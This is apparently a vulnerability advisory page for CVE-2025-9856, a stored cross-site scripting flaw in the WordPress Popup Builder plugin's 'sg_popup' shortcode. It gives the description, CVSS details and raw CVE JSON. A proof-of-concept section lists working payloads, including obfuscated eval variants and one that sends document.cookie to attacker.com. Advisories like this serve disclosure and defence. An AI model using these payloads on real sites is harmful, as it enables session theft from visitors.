Security Vulnerability Report
中文
CVE-2025-9856 CVSS 6.4 MEDIUM

CVE-2025-9856

Published: 2025-12-13 16:16:57
Last Modified: 2026-04-15 00:35:42

Description

The Popup Builder – Create highly converting, mobile friendly marketing popups. plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sg_popup' shortcode in all versions up to, and including, 4.4.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Popup Builder插件 <= 4.4.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Popup Builder Stored XSS PoC --> <!-- Required: Contributor role or higher --> <!-- Method 1: Via Shortcode in Post/Page Content --> [sg_popup id="1" onmouseover="alert(document.domain)"] <!-- Method 2: More Obfuscated Variant --> [sg_popup id="1" onclick="eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))"] <!-- Method 3: Session Hijacking Variant --> [sg_popup id="1" onload="fetch('https://attacker.com/steal?c='+document.cookie)"] <!-- WordPress REST API Exploitation (if enabled) --> <!-- POST /wp-json/wp/v2/posts/{id} --> { "content": "[sg_popup id=\"1\" onerror=\"eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))\"]" } <!-- Attacker can inject malicious JavaScript through shortcode attributes --> <!-- The injected script will execute for all users viewing the affected page -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9856", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:57.307", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Popup Builder – Create highly converting, mobile friendly marketing popups. plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sg_popup' shortcode in all versions up to, and including, 4.4.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/popup-builder/tags/4.4.0/com/classes/popups/SGPopup.php#L1368", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/popup-builder/tags/4.4.0/com/helpers/AdminHelper.php#L438", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3384281", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/beb6b26a-3fe1-44e0-9fda-97b288abf735?source=cve", "source": "[email protected]"}]}}